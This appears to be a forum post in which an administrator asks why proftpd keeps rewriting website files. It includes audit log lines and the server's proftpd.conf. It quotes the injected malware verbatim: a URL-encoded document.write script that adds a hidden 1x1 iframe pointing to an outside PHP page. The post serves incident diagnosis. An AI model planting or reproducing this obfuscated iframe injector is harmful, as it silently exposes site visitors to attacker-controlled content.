proftpd sql injection cross site scripting

recently on the webserver, i noticed a lot of pages being infected with this code.

<script type="text/javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%6F%75%6E%74%73%73%2E%63%6F%6D%2F%63%6F%75%6E%74%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3
D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

http://bugs.proftpd.org/show_bug.cgi?id=3115


i upgraded  proftpd from 1.3.1 to 1.3.2, but the pages do get infected again, I ran audit on the webserver directory, which shows thats the process is proftpd itself which alters the file, so the update did not fix the issue.

type=SYSCALL msg=audit(1235325508.686:71929): arch=40000003 syscall=5 success=yes exit=10 a0=814ad4c a1=8241 a2=1b6 a3=8241 items=1 ppid=25144 pid=5065 auid=4294967295 uid=0 gid=1012 euid=6537 suid=6537 fsuid=6537 egid=1012 sgid=1012 fsgid=1012 tty=(none) comm="proftpd" exe="/usr/local/sbin/proftpd" key=(null)
type=CWD msg=audit(1235325508.686:71929):  cwd="/user/public_html"
type=PATH msg=audit(1235325508.686:71929): item=0 name="/user/public_html/index.html" inode=203182030 dev=08:07 mode=0100644 ouid=6537 ogid=1012 rdev=00:00


following is the proftpd.conf, but its copied from proftpd 1.3.1

anyone had a fix for this?

#
# usr/local/etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file.
# To really apply changes reload proftpd after modifications.
# 
 
Include /usr/local/etc/proftpd/modules.conf
 
ServerName			"Reseller System FTP Server"
ServerType			standalone
DeferWelcome			on
 
MultilineRFC2228		on
DefaultServer			on
ShowSymlinks			on
 
TimeoutNoTransfer		600
TimeoutStalled			600
TimeoutIdle			1200
 
DisplayLogin                    welcome.msg
DisplayChdir                    .message
ListOptions                	"-l"
RequireValidShell		off
 
DefaultRoot			~
IdentLookups			off
 
DenyFilter			\*.*/
 
SystemLog			/var/log/proftpd.log
 
# Uncomment this if you are using NIS or LDAP to retrieve passwords:
#PersistentPasswd		off
 
# Uncomment this if you would use TLS module:
#TLSEngine 			on
 
# Uncomment this if you would use quota module:
#Quotas				on
 
# Uncomment this if you would use ratio module:
#Ratios				on
 
# Port 21 is the standard FTP port.
DefaultAddress			0.0.0.0
Port				21
 
# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd)
MaxInstances			30
 
# Set the user and group that the server normally runs at.
User				nobody
Group				nogroup
 
# Umask 022 is a good standard umask to prevent new files and dirs
# (second parm) from being group and world writable.
Umask				022  022
# Normally, we want files to be overwriteable.
AllowOverwrite			on
 
# Allow CHOWN!
CapabilitiesEngine		on
CapabilitiesSet			+CAP_CHOWN
 
# Delay engine reduces impact of the so-called Timing Attack described in
# http://security.lss.hr/index.php?page=details&ID=LSS-2004-10-02
# It is on by default. 
DelayEngine 			off
 
# SQL Authentication.
SQLAuthenticate			users userset
SQLAuthTypes			Crypt
SQLConnectInfo			server proftpd passwd PERSESSION
SQLUserInfo			web_users username crypt uid gid homedir NULL
SQLUserWhereClause		"activated = 'Y'"
#SQLLogFile			/var/log/proftpd-sql.log
 
# A basic anonymous configuration, no upload directories.
 
# <Anonymous ~ftp>
#   User				ftp
#   Group				nogroup
#   # We want clients to be able to login with "anonymous" as well as "ftp"
#   UserAlias			anonymous ftp
#   # Cosmetic changes, all files belongs to ftp user
#   DirFakeUser	on ftp
#   DirFakeGroup on ftp
# 
#   RequireValidShell		off
# 
#   # Limit the maximum number of anonymous logins
#   MaxClients			10
# 
#   # We want 'welcome.msg' displayed at login, and '.message' displayed
#   # in each newly chdired directory.
#   DisplayLogin			welcome.msg
#   DisplayFirstChdir		.message
# 
#   # Limit WRITE everywhere in the anonymous chroot
#   <Directory *>
#     <Limit WRITE>
#       DenyAll
#     </Limit>
#   </Directory>
# 
#   # Uncomment this if you're brave.
#   # <Directory incoming>
#   #   # Umask 022 is a good standard umask to prevent new files and dirs
#   #   # (second parm) from being group and world writable.
#   #   Umask				022  022
#   #            <Limit READ WRITE>
#   #            DenyAll
#   #            </Limit>
#   #            <Limit STOR>
#   #            AllowAll
#   #            </Limit>
#   # </Directory>
# 
# </Anonymous>
 
<VirtualHost xx.xx.xx.xx>
        ServerName                      "EIN"
        MaxClients                      10
        MaxLoginAttempts                1
        DeferWelcome                    off
        IdentLookups                    off
 
 
ShowSymlinks                    on
 
TimeoutNoTransfer               600
TimeoutStalled                  600
TimeoutIdle                     1200
 
DisplayLogin                    welcome.msg
DisplayChdir                    .message
ListOptions                     "-l"
RequireValidShell               off
 
DefaultRoot                     ~
IdentLookups                    off
 
DenyFilter                      \*.*/
 
        AllowOverwrite                  on
 
        <Limit LOGIN>
                AllowUser               cranx
                AllowUser               alpha
               AllowUser               value
                DenyAll
        </Limit>
 
	CapabilitiesEngine              on
	CapabilitiesSet                 +CAP_CHOWN
 
	SQLAuthenticate                 users userset
	SQLAuthTypes                    Crypt
	SQLConnectInfo                  server proftpd passwd PERSESSION
	SQLUserInfo                     users username crypt uid gid homedir NULL
	SQLUserWhereClause              "activated = 'Y'"
	#SQLLogFile                     /var/log/proftpd-sql.log
 
</VirtualHost>
 
<VirtualHost xx.xx.xx.xx>
        ServerName                      "Client"
        MaxClients                      20
        MaxLoginAttempts                1
        DeferWelcome                    off
        IdentLookups                    off
 
ShowSymlinks                    on
 
TimeoutNoTransfer               600
TimeoutStalled                  600
TimeoutIdle                     1200
 
DisplayLogin                    welcome.msg
DisplayChdir                    .message
ListOptions                     "-l"
RequireValidShell               off
 
DefaultRoot                     ~
IdentLookups                    off
 
DenyFilter                      \*.*/
 
        AllowOverwrite                  on
 
        <Limit LOGIN>
                AllowUser               user1
                AllowUser               user2
                DenyAll
        </Limit>
 
        CapabilitiesEngine              on
        CapabilitiesSet                 +CAP_CHOWN
 
        SQLAuthenticate                 users userset
        SQLAuthTypes                    Crypt
        SQLConnectInfo                  server proftpd passwd PERSESSION
        SQLUserInfo                     web_users username crypt uid gid homedir NULL
        SQLUserWhereClause              "activated = 'Y'"
        #SQLLogFile                     /var/log/proftpd-sql.log
 
</VirtualHost>

Select allOpen in new window